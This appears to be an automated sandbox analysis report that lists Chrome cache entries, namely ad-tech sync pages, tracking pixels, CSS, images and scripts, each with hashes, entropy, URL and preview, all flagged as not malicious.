SSDEEP:	192:cvBHLV8HIK3TLEMSvHAOFa4J839D0HUqM:4VKIK3TAZ7Fa4JmqHI
MD5:	4DB86410D8B5A7B97D01B017048C5649
SHA1:	929A40924848137FD64A8F5DBD2CCC4C56F6AEDC
SHA-256:	5FF488BA8A49D41B55898CE4C5C03F2A499BC443CBCFC668BC0F067D0AE0964F
SHA-512:	612572CDE91EE7352F554F3A13A0BEFD2030691387D33088EA95DCDA2B3EB005C818FA1965FB5477921BE550DE8493525C53A91ECF60B9252A6EFCC82D4D13BE
Malicious:	false
Reputation:	low
URL:	https://cdn.bidbrain.app/ng-assets/creative/assets/index-5ff488ba.css
Preview:	@charset "UTF-8";._slideUp_1yo02_1{animation:_slideUp_1yo02_1 .4s ease forwards}@keyframes _slideUp_1yo02_1{0%{transform:translateY(100vh)}to{transform:translateY(0)}}._slideUpFaded_1yo02_13{animation:_slideUpFaded_1yo02_13 .4s ease forwards}@keyframes _slideUpFaded_1yo02_13{0%{transform:translateY(10vh);opacity:0}to{transform:translateY(0);opacity:1}}._reverseSlideUp_1yo02_27{animation:_reverseSlideUp_1yo02_27 .4s ease forwards}@keyframes _reverseSlideUp_1yo02_27{0%{transform:translateY(0)}to{transform:translateY(100vh)}}._slideDown_1yo02_39{animation:_slideDown_1yo02_39 .4s ease forwards}@keyframes _slideDown_1yo02_39{0%{transform:translateY(-100vh)}to{transform:translateY(0)}}._reverseSlideDown_1yo02_51{animation:_reverseSlideDown_1yo02_51 .4s ease forwards}@keyframes _reverseSlideDown_1yo02_51{0%{transform:translateY(0)}to{transform:translateY(-100vh)}}._slideLeft_1yo02_63{animation:_slideLeft_1yo02_63 .4s ease forwards}@keyframes _slideLeft_1yo02_63{0%{transform:translate(100vh)}t

Chrome Cache Entry: 917

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1119)
Category:	downloaded
Size (bytes):	1158
Entropy (8bit):	5.509982292872726
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTGA2FbzXh6vEFM+sBntvwCCZV9UkABuUDTuRXKr5c:c2Yz8TaYviMnhYJABnTuRXEc
MD5:	1A046B14D7BFBF52885EF6D644B7F20B
SHA1:	ED7C109FAD821573119C9E6FC556423C6743CDDC
SHA-256:	AE54EE809E55CF2D11A2054F447C24EDB1BD178C8B1A8F58C77F0BC4F2AA9960
SHA-512:	3F6B73594CAF1C8A1558F5287B386D0CB34B67A805CAC252C8A731F5F4E98282C5C1697DE8509A8B1ECDB6DB4DB12D9EE6397C7852E361AAFC57215892F42F4E
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=google%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=demandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://cm.g.doubleclick.net/pixel?google_nid=tremor_video_dbm&google_hm=NWM5OWEwMDliZDE4NGQ1Y2EzYjc4ODUwMDNiNzIwZTM%3D&ri

Chrome Cache Entry: 918

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?&p=eplanning_east&endpoint=us-east
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 919

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (357)
Category:	downloaded
Size (bytes):	2495
Entropy (8bit):	4.978090817636313
Encrypted:	false
SSDEEP:	48:qgfmYCDhll5xuPgTXCeybFuryI7hAu3obFuA8igBQWbz:/fmhlCUybFuuI9j3obFuBi/Wbz
MD5:	29761F5B2D71C1D63997CAD7FB4B700B
SHA1:	C03A0117EDCC090668BC7C8BACAFA70707C838CE
SHA-256:	EF91BF7ED166C55F897B958818E62A19543E3F5B60EEBF641075F94B66839352
SHA-512:	53E1ACEA0FABA44EBCF13292E7272EED4F61DE389244ECEA06270D28128C1F739FEAC3A9275B99DCE6124B32D26534AA6B008B684428310191512BB865F5E46B
Malicious:	false
Reputation:	low
URL:	https://onetag-sys.com/usync/?ismms2s=1&pubId=765b4e6bb9c8438
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "https://pixel.rubiconproject.com/tap.php?v=223352&nid=4584&put=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://x.bidswitch.net/sync?ssp=onetag&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://cs.minutemedia-prebid.com/cs?aid=21493&id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI";. var syncIframes = "";.. var GDPR_APPLIES = "gdpr=";. var GDPR = "gdpr_consent=";. var US_PRIVACY = "us_privacy=";... var params = location.search.substring(1);. var consentString = "";. var usPrivacy = "";. var gdprAppliesValue = "1";.. try {.. var index = params.indexOf(GDPR);. if (index >= 0) {. consentString = params.substring(index + GDPR.length).split("&")[0];. }.. index = params.indexOf(GDPR_APPLIES);. if (index >= 0) {. va

Chrome Cache Entry: 920

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 218x150, components 3
Category:	dropped
Size (bytes):	7735
Entropy (8bit):	7.908928309994706
Encrypted:	false
SSDEEP:	192:nvqdjongmKKxDE+hV+zJLvzGgA2gUeMmn570ywfdR3g62:nvq54gmX5ENNLvzJgL570DfdeZ
MD5:	95D0EA55A1B6EC597ED8A1C55F9FBD86
SHA1:	F2BEB2D33869D0F7F725E5E12F617413BDE7B819
SHA-256:	E721C83550B8F5E52D6D282D5831A9013944BF7748B3C371E8B924AFC2587669
SHA-512:	02A9486948061ACC1C5F3CA303D32B6D4D199C7894EF661E73936D5E57F0503F34AA0BEC282C04D83FC353A9F865B4E2C87EC41B665877F66DA21F0A4B60F5E7
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C........................... ."" ...$(4,$&1'..-=-157:::#+?D?8C49:7...C...........7%.%77777777777777777777777777777777777777777777777777...........".............................................................................yo7.t.[R.q.+.6..O...FI..d...Y..I.).n.&]'r..u,.[..{~\.=.(.].B.....W..ik>.a.n>...O5....=.X....WB"Q../^.S....@k.1...C.,..kjy.u.p4.\I.0.NTxzyAW.Y.i}........L......:&B...bd&....Y}.;..d...L..S.....yD..#\|=.v.....e.NW.....f.w..8._...x.<...}...kW...t...j.A...O..].h...[<...Jk#.^k..>. ...2..s....D..R.{)Rv.....`.b....pw..I.%)...U.9.....j.'(}.k......p2....u.C.ld.4...(..P..K.j.T#.(U.N..s...7....\..Z=../..k/S/YSg..3.........9`]-H.t...V.G........l..zo;JN.......$.9...=BD#RPS..y.`.#.Hh..r.b...&........................!..1"2.#.AB$...........1.....c>.9.m..f.!.\|r.....l.V.dL\.l~.e..c%wrB..f&m...'.....".....\..j\|s8..........TA....h...{.....U.0.;.v........#....\.>.....b...c\f....\.x0...X.....m........?.s.X.F.aA.p&.! ..,.F ....m.

Chrome Cache Entry: 921

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4139)
Category:	downloaded
Size (bytes):	4259
Entropy (8bit):	5.111011648870157
Encrypted:	false
SSDEEP:	96:hhHnlirHn83EHnJHnkEmOCvO/6qaWE7JNiCTU6NEWbYVknlMime2R6WlBLIa97fn:hp68WBgJUUN/lInw0
MD5:	216B2B5C9AEDD65C0F04CA3C805C0769
SHA1:	E7F7244D4717F6D4EC6451A9CCBBAFD8F7F8BDFA
SHA-256:	876580976410767FA3288FF7A448B5DBDE8939DFB86DC9B20ADCB3A22FF64C4B
SHA-512:	782C13C01CC18A570FEEC4BE37BD792FD25D336FD93C4A14F87B21B128705E482D592253BCCBBFDA410163E9B2A07B33E84CDAC5EBA99FEFE68E7E0719568D4A
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/digiplayer/css/videojs-share.css?ver=1.1.17
Preview:	/*. videojs-share. * @version 3.2.1. * @copyright 2019 Mikhail Khazov <mkhazov.work@gmail.com>. * @license MIT. */..video-js.vjs-videojs-share_open .vjs-modal-dialog .vjs-modal-dialog-content{display:flex;align-items:center;padding:0;background-image:linear-gradient(to bottom, rgba(0,0,0,0.77), rgba(0,0,0,0.75))}.video-js.vjs-videojs-share_open .vjs-modal-dialog .vjs-close-button{position:absolute;right:0;top:5px;width:30px;height:30px;color:#fff;cursor:pointer;opacity:0.9;transition:opacity 0.25s ease-out}.video-js.vjs-videojs-share_open .vjs-modal-dialog .vjs-close-button:before{content:'.';font-size:20px;line-height:15px}.video-js.vjs-videojs-share_open .vjs-modal-dialog .vjs-close-button:hover{opacity:1}.video-js .vjs-share{display:flex;flex-direction:column;justify-content:space-around;align-items:center;width:100%;height:100%;max-height:400px}.video-js .vjs-share__top,.video-js .vjs-share__middle,.video-js .vjs-share__bottom{display:flex}.video-js .vjs-share__top,.video-js .v

Chrome Cache Entry: 922

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1049)
Category:	downloaded
Size (bytes):	1088
Entropy (8bit):	5.397410574502442
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTM2FbzXh6vEFM+sBntvwCCZV9UkINTuRXKr5c:c2Yz8T7YviMnhYJWTuRXEc
MD5:	46AFB179D739C82EFF37D6425584AEB7
SHA1:	6DE48E9DCD8A6C8D3B6A6331FD871BD1036069BB
SHA-256:	A954568904E0A1A34F4EC8FCD3AFAEDEE8B05EA61081230982C6ED3CA3B6DDBD
SHA-512:	24A7262FDF237016CC2D4A61EA90B371391872C1A39B2BCA9403B36482A10ED3D7351A815E7F3DC23EEB95109B0179A098CA933E7F8C0CA15E335038AAE80C36
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=logicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=google%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://cr-p43.ladsp.com/cookiesender/43?rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><

Chrome Cache Entry: 924

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	687
Entropy (8bit):	4.7081410558902475
Encrypted:	false
SSDEEP:	12:t41WffBz0zFg3V2BzEI47bUYcBjWzLjyrBz4KgALQyx9OjSqwuGVHAUe9gBZ9Qpa:t414fqzFSEWfwXyzLgFBLhOebreUe9gX
MD5:	3A36CAF1FD1FCE61581D2250B8459314
SHA1:	8185CFDB0A7B2E44709543A1F59127A263C21E63
SHA-256:	7F8739611BEF5E30D579DB0B3783D260CC84BB38E9B3B0F51B566C04D1303564
SHA-512:	48C12B26B0B642BCEACC4B8498F3E09F6CBAC0EB4FC0003ED3F5551B66C36E7C61CD82C22C0880C199379AF829046FB1782F488DA1E63B03F172953C9E781F9E
Malicious:	false
Reputation:	low
URL:	https://s.w.org/images/core/emoji/14.0.0/svg/1f4fa.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#31373D" d="M35 31s0 4-4 4H5c-4 0-4-4-4-4V12c0-4 4-4 4-4h26s4 0 4 4v19z"/><path fill="#31373D" d="M21.303 10.389c.391.391.391 1.023 0 1.414s-1.023.391-1.414 0l-9.192-9.192c-.391-.391-.391-1.023 0-1.414s1.023-.391 1.414 0l9.192 9.192z"/><path fill="#31373D" d="M14.697 10.389c-.391.391-.391 1.023 0 1.414s1.023.391 1.414 0l9.192-9.192c.391-.391.391-1.023 0-1.414s-1.023-.391-1.414 0l-9.192 9.192z"/><path fill="#55ACEE" d="M18 11c8 0 10 1 11 2s2 3 2 8-1 7-2 8-3 2-11 2-10-1-11-2-2-3-2-8 1-7 2-8 3-2 11-2z"/><circle fill="#66757F" cx="31.5" cy="31.5" r="1.5"/><circle fill="#66757F" cx="4.5" cy="31.5" r="1.5"/></svg>

Chrome Cache Entry: 925

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	12704
Entropy (8bit):	7.938786257762788
Encrypted:	false
SSDEEP:	384:NLKhtBTXcU0BbZjfy/mfA+HlwwSaLqqEc:N+htRL0Bb5CmfzW7Bc
MD5:	454E9798057DB20E36EF2CA97CD430AE
SHA1:	764783EC0170C0D1E788D39D59DDAAEEEE6145F1
SHA-256:	6D1EE23941107044B51E9F1A6475A03F68D46BCC4192528AF581CA3597D34AA5
SHA-512:	4B385E6C34FF14DA8D708481FDB237243ABD519C59FC67D6BECAFD9F39E796F5544DB90F6DC5817D983EE63DD5C2DC2ECF55A2C13175EEF0A674B72724970A21
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D.."......................................................................................of.......b./..].2.,...=Y.F]....:..B[.............<.d@...........E4...[/'.%v.w.1....z.....{t.o$z....\|.3..M+....r...........dB..+n}..D>Id.\...-.......&.=.,....".....Q.....S..z.v..pS...pyM.@.........S...%Hd(9...;..S.7.<..t....r.T..5.zF-[l>.!....V.:.K.M..;ck......./.;p..........<..1.J...2.N._.C\ek.7.....H.rD.,....h..9'..Q.w.......n..Q."R..@........y..#..x..+.J%.P.rl.../..:.A......5.c^.[..!..T.Jr..t]z..^ciq.M..YNe=..H].y.k ...5.c..O..Hy....x.h.&W....#.+.....{...C.cn....U.Lu.6.".z.^}9..o......."k>...GMg..56IyZ>._F.......j..UV$*q...ciE...e.Y...$I..V=.........#.~J.6.l.%..'..\&K)=tY3...I......,".5..l.J.B$1..s.k...>...".q.I .;.O."..b.$...\....g.0d.d...`..p...mP....D.(.....!.!.!..k..1..L..d....

Chrome Cache Entry: 926

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9271
Entropy (8bit):	4.891694962645412
Encrypted:	false
SSDEEP:	192:K8YGU+DRzpVyVvCPCNCSe6T2XgX2Xgn2XgcW295oPH54VC+qptE3A1jABGuL5t:K8YGU+DRzpsVvGZXgGXg2XgcW295oPHK
MD5:	675D2FDBDE575EDDA87D1E5DFFC1D608
SHA1:	0124A0495E77CF53972664337F97B53D27908E84
SHA-256:	8306067D6F618EA0E862038D597B2349A38E0A410132C3B6F62911E8488363A6
SHA-512:	9CE518E13EE135C7187F257D5FE61BA44B553EF7E71C436AA0C907EEF096777A8C61069868E28A7141313CA6DD5DF47712F7F698AD943FFE402BF3E0088A0721
Malicious:	false
Reputation:	low
URL:	https://app.digitrend.it/forumpa/fpa.js
Preview:	// 'use strict';..// // if( ( new Date().getDate() > 20 && new Date().getDate() < 26 ) && new Date().getMonth() == 5 ) {....// // } else {..// // Analytics..// var analytics = document.createElement('script');..// analytics.src = 'https://www.googletagmanager.com/gtag/js?id=UA-231684584-1';..// analytics.async = true;..// document.getElementsByTagName("head")[0].appendChild(analytics);..// // }..........// class ForumPa_Room {....// room = '';..// id = '';..// src = '';..// constructor(src, url, id) {..// this.setID(id);..// this.setSrc(src)..// this.createRoom(url);..// }....// createRoom(url) {..// this.room = document.createElement('img');..// this.room.className = 'forumpa-room'..// this.room.setAttribute('data-room', this.id);..// this.room.setAttribute('data-link', url);..// this.room.src = this.src;..// this.room.style = "width: 33.33333333334%; border: 7px solid #

Chrome Cache Entry: 927

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=a109dc60-dc7c-45e5-ab53-e2448a53420f&expiration=1714207888&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 928

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=196&external_user_id=7766515454130361199&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 929

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 930

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3286)
Category:	downloaded
Size (bytes):	56897
Entropy (8bit):	5.640066143235701
Encrypted:	false
SSDEEP:	768:0fS+Qu82PHLAAe95oLemSSO4Zb/TL0f0LiAnFdMXLlbQJAavBVZ4XOsKF4TLpG:2S+Qu8QLAAePo/SLGmXLqOmE9TlG
MD5:	A7736C83B9AD2DD6317674CD4ED0BB68
SHA1:	0366B254FAFB4A7A979A69FB9EF7BE3434B74D14
SHA-256:	4804B62BC3461FF1AB61AA2482690D79DB2646701DA68B6371AD1485C6F948FD
SHA-512:	1C6E24FB1857C19D517E260553F9B2C153CC22800980806971C9602F052E73E4AFAA32A7916D1BDF60E48ABE47C94300714C9E4316A2D31D4DA27E18E1C905F4
Malicious:	false
Reputation:	low
URL:	https://c.gumgum.com/adbuilder/61352/hype-hFHHoa8/IS_Pepco.hyperesources/IS_Pepco.hyperesources/HYPE-752.thin.min.js
Preview:	(function(){var g=void 0,h=!0,k=null,m=!1,ba=parseFloat,n=Math,z=window,da=parseInt,ea=encodeURIComponent,fa=navigator,B=document;function ga(Q,J){return Q.width=J}function ja(Q,J){return Q.display=J}function ka(Q,J){return Q.height=J}function oa(Q,J){return Q.length=J}function pa(Q,J){return Q.innerHTML=J}function qa(Q,J){return Q.className=J}function ra(Q,J){return Q.zIndex=J}.var sa="lastPosition",ta="userAgent",C="push",ua="type",Aa="location",Ca="detachEvent",Da="clearTimeout",Ea="join",Fa="addEventListener",Ga="splice",Ha="preventDefault",Ia="getElementsByTagName",Ja="search",Na="getAttribute",Oa="width",Pa="display",Ua="startTime",H="style",Va="slice",Wa="button",L="hasOwnProperty",Xa="body",ab="ceil",bb="removeAttribute",cb="appendChild",db="round",eb="offsetWidth",fb="event",gb="clientX",lb="clientY",mb="attachEvent",nb="ctrlKey",ob="getElementById",pb="height",.qb="indexOf",O="length",rb="duration",V="parentNode",yb="changedTouches",zb="setTimeout",Ab="touches",Bb="replace",C

Chrome Cache Entry: 931

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=2964&partner_device_id=FYnFttFhXGIV
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 932

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1099)
Category:	downloaded
Size (bytes):	2665
Entropy (8bit):	5.295236037101063
Encrypted:	false
SSDEEP:	48:dQo/lPdW7NmomVoFoEotEAoXo8odoBVoLolwZuWoToToPovo2woRo/o1o8VoRoui:eIbUmF63YWxAECjjgQEU/wwEQ7S1UPWk
MD5:	8329DA8E42BD0EF12418A54FDD87A9D9
SHA1:	A54D13C4EAFA4D16834FDE5402EEE302F7835DB2
SHA-256:	6902C494F155DAFCADFB24F795DA7CCF627052547D66B35053CA3582A78FFB47
SHA-512:	52B03CC75285C0803400395A9D73C630B70A79E608381F919792659F46E5CB2F946C5512E918097CB4D5BE354A086CBB7B3D806E71BF754B1635A81961AC585D
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLoadingBox.js?ver=12.6.5
Preview:	var tdLoadingBox={};(function(){tdLoadingBox={speed:40,arrayColorsTemp:"rgba(99, 99, 99, 0);rgba(99, 99, 99, 0.05);rgba(99, 99, 99, 0.08);rgba(99, 99, 99, 0.2);rgba(99, 99, 99, 0.3);rgba(99, 99, 99, 0.5);rgba(99, 99, 99, 0.6);rgba(99, 99, 99, 1)".split(";"),arrayColors:[],statusAnimation:"stop",stop:function(){tdLoadingBox.statusAnimation="stop"},init:function(a,b){!1===tdUtil.isUndefined(b)&&(tdLoadingBox.speed=b);b=/^#[a-zA-Z0-9]{3,6}$/;a&&b.test(a)?(a=tdLoadingBox.hexToRgb(a),a="rgba("+a.r+", "+a.g+", "+a.b+", ",tdLoadingBox.arrayColors[7]=a+" 0.9)",tdLoadingBox.arrayColors[6]=a+" 0.7)",tdLoadingBox.arrayColors[5]=a+" 0.5)",tdLoadingBox.arrayColors[4]=a+" 0.3)",tdLoadingBox.arrayColors[3]=a+" 0.15)",tdLoadingBox.arrayColors[2]=a+" 0.15)",tdLoadingBox.arrayColors[1]=a+" 0.15)",tdLoadingBox.arrayColors[0]=a+" 0.15)"):tdLoadingBox.arrayColors=tdLoadingBox.arrayColorsTemp.slice(0);"stop"===tdLoadingBox.statusAnimation&&(tdLoadingBox.statusAnimation="display",this.render())},render:funct

Chrome Cache Entry: 933

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1125)
Category:	dropped
Size (bytes):	5631
Entropy (8bit):	5.162051900270187
Encrypted:	false
SSDEEP:	96:1j9jwIjYj5jDK/D5DMF+C8WZqXKHvpIkdN+rRi9PaQxJbBeq0yTMQr+Cw:1j9jhjYj9K/Vo+nXaHvFdN+r49ieJBe5
MD5:	E0D78FA4DD57ACB62005BF8A364CE94B
SHA1:	00B7537E9D79912A5A4F3F9ABEE283683D70EF08
SHA-256:	8BF5125858C7C3BA18AEE58DEF9A973B73D29F3E2A35721EB387DB93026FCD72
SHA-512:	C2257048B3DC2E01E3BFF73DB8A71119F4B858FA46E78A5248F0063D062C9EA617193923A67BA0D4217D90BDF2843CFC678214AE6D12EFA2784DACE7A0D6C959
Malicious:	false
Reputation:	low
